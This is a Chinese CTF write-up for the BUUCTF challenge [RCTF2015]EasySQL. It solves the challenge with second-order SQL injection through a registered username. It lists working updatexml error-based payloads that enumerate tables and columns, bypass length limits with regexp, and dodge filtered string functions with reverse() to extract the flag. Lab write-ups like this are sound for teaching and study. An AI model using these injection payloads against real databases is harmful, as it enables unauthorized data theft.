zoukankan      html  css  js  c++  java
  • BUUCTF-[RCTF2015]EasySQL wp

    知识点:二次注入

    进入页面发现有注册和登录的功能

     

     点击注册页面后先随便注册一个用户,登录后出现这个页面

     

    随便点了一个发现有参数,但是用sql注入无果,于是猜测在注册或者登录处进行sql注入。又发现Hi的后面会显示用户名,猜测是二次注入

     

    注册用户名:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#爆出表

    虽然有flag表,但是flag不在flag表里,所以用:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#爆出字段名,但是发现有长度限制

    使用regexp读取完整字段名

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

     

    使用:

    Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#爆出flag,但是发现有长度限制

     

    由于substr()、left()、right()函数被过滤,所以使用reverse倒序输出

    Yhck"||(updatexml(1,concat(0x3a,(reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))),1))#,结合起来就是flag

     

     

     

     

     

     

     

     

  • 相关阅读:
    python并发编程
    中缀表达式转换为后缀表达式(python实现)
    使用docker部署filebeat和logstash
    数据结构和算法的一些思考
    RESTFUL如何指导WEB API设计?
    哈希表的原理及实现代码
    python实现有序字典
    django源码分析 请求流程
    python 通过元类控制类的创建
    前后端分离人力资源管理系统
  • 原文地址:https://www.cnblogs.com/Yhck/p/13654119.html
Copyright © 2011-2022 走看看